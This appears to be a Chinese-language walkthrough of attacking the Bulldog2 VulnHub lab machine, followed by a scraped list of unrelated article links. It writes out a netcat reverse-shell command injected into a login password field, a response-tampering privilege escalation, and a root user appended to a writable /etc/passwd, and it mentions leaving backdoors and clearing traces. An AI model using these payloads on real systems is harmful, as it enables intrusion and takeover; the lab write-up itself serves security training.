一、实验环境

  • Kali攻击机:192.168.247.149
  • bulldog 2靶机:192.168.247.150、(192.168.247.151)

开始之前,需先登录bulldog2。账号:dirty,密码:pass,并使其获取IP

二、实验步骤

(一)主动信息收集

1、扫描存活主机

2、扫描开放端口(192.168.247.150和192.168.247.151开放端口相同)

3、开放端口详细信息

4、网站版本

searchsploit nginx

在Kali集成的文件中没有发现Nginx1.14的版本,如果有,可以利用版本的漏洞进行渗透。

(二)端口探测

可以看到该靶机只开放了80端口, 接下来肯定是要探测目录了。

1、目录探测

默认字典探测

使用大字典探测

通过目录猜解发现没有可利用的目录,那根据个人经验估计突破口肯定在js文件里。

2、查看js文件

我们在查看页面的时候可以看到,页面上有个注册功能,但是我们点击出现一个通知 ' 遗憾的是,出于安全考虑,我们目前不接受注册。如果需要,请联系a客户支持代表创建一个商业帐户。',可以尝试利用该漏洞注册一个新账户。

  • 尝试注册新用户

使用 ' register ' 作为关键字,对4个js文件进行搜索,只有main开头的js文件中包含register关键词,对该js文件进行研究,可发现现以下有用信息,如图所示:

根据js上的定义,我们可以使用 post提交新账户信息来完成注册,但是注意这里有2点要求:

  • Content-Type 必须要是:application/json
  • post 数据包内容处,必须要严格按照js代码里的规范

不能注册,我们可以使用新账户和密码进行登录,使用BurpSuite进行抓包,然后按照上面的要求对其进行改包。

可以看到返回true,注册成功了。使用新创建的(用户名:admin123,密码:123admin)账号进行登录,登录成功。

进入该账户界面,里面没有可利用的信息,此时我们可以向上提权,将该账户修改为管理员账户。

3、垂直提权

退出当前登陆账户,回到注册点,再次登陆,并进行抓包

然后Forword,就可以看到服务器返回的数据包

接下来我们就来解密一下看这个tonken传递了什么内容,我们可以去Google搜索 ' JWT解密 ' (注:一般第一条就是我们想要的),解密网址:https://jwt.io。

我们把那个tonken后面的编码复制进去查询一下看看,出现如下图所示的结果:

此时我们看到一个可疑的参数:' auth_level ',通过名字就应该知道是判断用户权限的,我们使用这个参数去刚刚保存的几个js文件里搜索看看,只有main开头的js文件中包含auth_level关键词,如图:

根据代码我们可以推断出,下一步我们只需要把 ' standard_user ' 替换成 ' master_admin_user ' 就行,如图:

接下来复制修改后的新编码,替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:

改完之后,放包,我们已经成功变成了 admin 账户。(到这一步,不要退出,下面的操作会用着)

下面我们就直接在修改密码处执行漏洞拿反弹shell

4、获取Shell

点击Admin,输入已存在的用户名和错误的密码进行登录,使用BurpSuite进行抓包,在密码后面添加一句话反弹shell命令,并在Kali测试机上监听端口1234。如图所示:

此处的反弹shell命令为:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.149 >/tmp/f;          //192.168.247.149为Kali测试机IP地址

成功拿到shell。

5、提权

python -c 'impport pty;pty.spawn("/bin/bash")'                       //将简单的Shell转换成为完全交互式的TTY

切换到/etc,查看passwd文件权限,发现该文件可读、可写、可执行,如图:

查看用户

新建一个具有root权限的用户,并追加到passwd文件中。

  • perl -le 'print crypt("pass","aa")'            //perl需要一个加密盐对密码pass进行加密,如这里使用了aa(salt指加密中用到的随机字符串,用不同的salt可以生成不同的加密结果)。
  • echo 'cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash' >> passwd

我们只需要修改3处(上面命令中标红的三处):一个是名字(cqq)、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改,相信小伙伴们都了解过passwd文件的权限类型。

再次查看passwd文件,新用户添加成功。

 

确认一切都没问题了,就可以直接输入命令:su cqq,密码为刚刚设置的:pass。成功拿到root权限,并拿到flag,如图:

终极三连问

之后便可以留后门,清理痕迹,奔跑了。。。

三、总结

1、不管是靶机的安全检测还是平时的渗透测试工作,我们都不应该去忽略js文件;

2、页面如果有注册但又不能注册时,我们可以使用一个新用户进行登录,然后使用“register”作为关键词在js文件中查找相关源代码,对注册新用户的要求,注册新用户,通过BurpSuite抓包按照代码的要求对其进行改包,使其注册成功;

3、垂直提权,通过修改服务器对普通用户登录的回包(auth_level),将其变成具有管理员权限的用户;

4、获得shell——在Kali上监听端口1234;登录管理员账户,在数据包的密码后面添加一句话木马(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.149 1234 >/tmp/f;)获得反弹shell;

5、python -c ‘import pty;pty.spawn(“/bin/bash”) —— 将shell转换为完全交互式的TTY;

6、发现/etc/passwd具有写入权限,新建一个具有root权限的用户,并追加到passwd文件中。然后 su cqq 进行检验。

  • perl -le ‘print crypt(“pass”,”aa”)’        //对密码pass使用加密盐aa对其进行加密
  • echo 'cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash' >> passwd

渗透测试实战3——bulldog2靶机入侵相关推荐

  1. VulnHub渗透测试实战靶场 - Odin:1

    VulnHub渗透测试实战靶场 - Odin:1 题目描述 环境下载 NULLY CYBERSECURITY: 1靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 题目描述 Odin v ...

  2. 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

    目录 前言 一.内网基础知识 1.工作组 2.域 3.活动目录 (1)活动目录的功能 (2)DC和AD区别 4.安全域的划分 (1)DMZ (2)内网 5.域中计算机的分类 6.域内权限 (1)组 ( ...

  3. VulnHub渗透测试实战靶场 - POTATO (SUNCSR): 1

    VulnHub渗透测试实战靶场 - POTATO(SUNCSR): 1 环境下载 POTATO (SUNCSR): 1靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 环境下载 戳此进行 ...

  4. VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE

    VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE 环境下载 THE ETHER: EVILSCIENCE靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 ...

  5. VulnHub渗透测试实战靶场-HA: FORENSICS

    VulnHub渗透测试实战靶场-HA: FORENSICS 题目描述 环境下载 HA: FORENSICS靶机搭建 渗透测试 信息搜集 Flag获取 Flag-1 Flag-2 Flag-3 Flag ...

  6. vulnhub之CH4INRULZ渗透测试实战

    vulnhub之CH4INRULZ渗透测试实战 一.环境搭建 目标: 获取root权限,并获得flag 难度:中级 下载链接:https://download.vulnhub.com/ch4inrul ...

  7. 《树莓派渗透测试实战》——2.7 设置SSH服务

    本节书摘来自异步社区<树莓派渗透测试实战>一书中的第2章,第2.7节,作者[美]Joseph Muniz(约瑟夫 穆尼斯),Aamir Lakhani(阿米尔 拉克哈尼),朱筱丹 译,更多 ...

  8. 《树莓派渗透测试实战》——总结

    本节书摘来异步社区<树莓派渗透测试实战>一书中的第1章,作者 [美]Joseph Muniz(约瑟夫 穆尼斯) , Aamir Lakhani(阿米尔 拉克哈尼),更多章节内容可以访问云栖 ...

  9. 《树莓派渗透测试实战》——2.12 用例子总结以上步骤

    本节书摘来异步社区<树莓派渗透测试实战>一书中的第2章,第2.12节,作者[美]Joseph Muniz(约瑟夫 穆尼斯) , Aamir Lakhani(阿米尔 拉克哈尼),更多章节内容 ...

最新文章

  1. 什么是第三方物流管理?如何套用模板进行绘制
  2. python jenkins库 api简介
  3. mysql -u -p -d_mysqld_exporter监控mysql
  4. [2020多校A层12.3]虚构推理(语言/二分/数据结构)
  5. 阿里巴巴对Java编程【单元测试】的规约
  6. 老码农的人生需要多线程的去生活
  7. JavaScript之call,bind,apply方法及 this 的用法辨析
  8. sqlite like通配符使用 -转
  9. MS AJAX Control Toolkit 学习
  10. 推荐10个最好用的数据采集工具
  11. VMware vCloud Director视频教程
  12. python 爬取百度日历
  13. linux ubuntu extmail,利用Ubuntu ExtMail 30分钟配置好一个功能强大的邮件
  14. 计算机安全证书有问题怎么办,此网站的安全证书有问题如何取消 此网站的安全证书有问题解决方法...
  15. 抱歉,我又可以了。。。
  16. Milvus以图搜图环境搭建
  17. 手机打电话提示无法连接到移动网络
  18. 日志系统新贵,Loki到底优秀在哪里?
  19. python全角数字_python 半角全角的相互转换
  20. Leetcode力扣 VS Code插件——面向新手

热门文章

  1. stm32l476时钟设置
  2. 美国的ACH支付体系
  3. Flutter listview下拉刷新 上拉加载更多 功能实现
  4. 小程序引入第三方字体
  5. Libra 2.0白皮书中文版全文发布
  6. 【appium】appium自动化入门之基本参数完整版(67个appium基本参数和关键字)
  7. 【工作记录】springboot项目通过qq邮箱发送邮件
  8. VirtualBox虚拟机的网卡地址重复导致的问题
  9. css+js 实现炫酷的魔方旋转
  10. Veritas NetBackup 10.0 (Unix, Linux, Windows)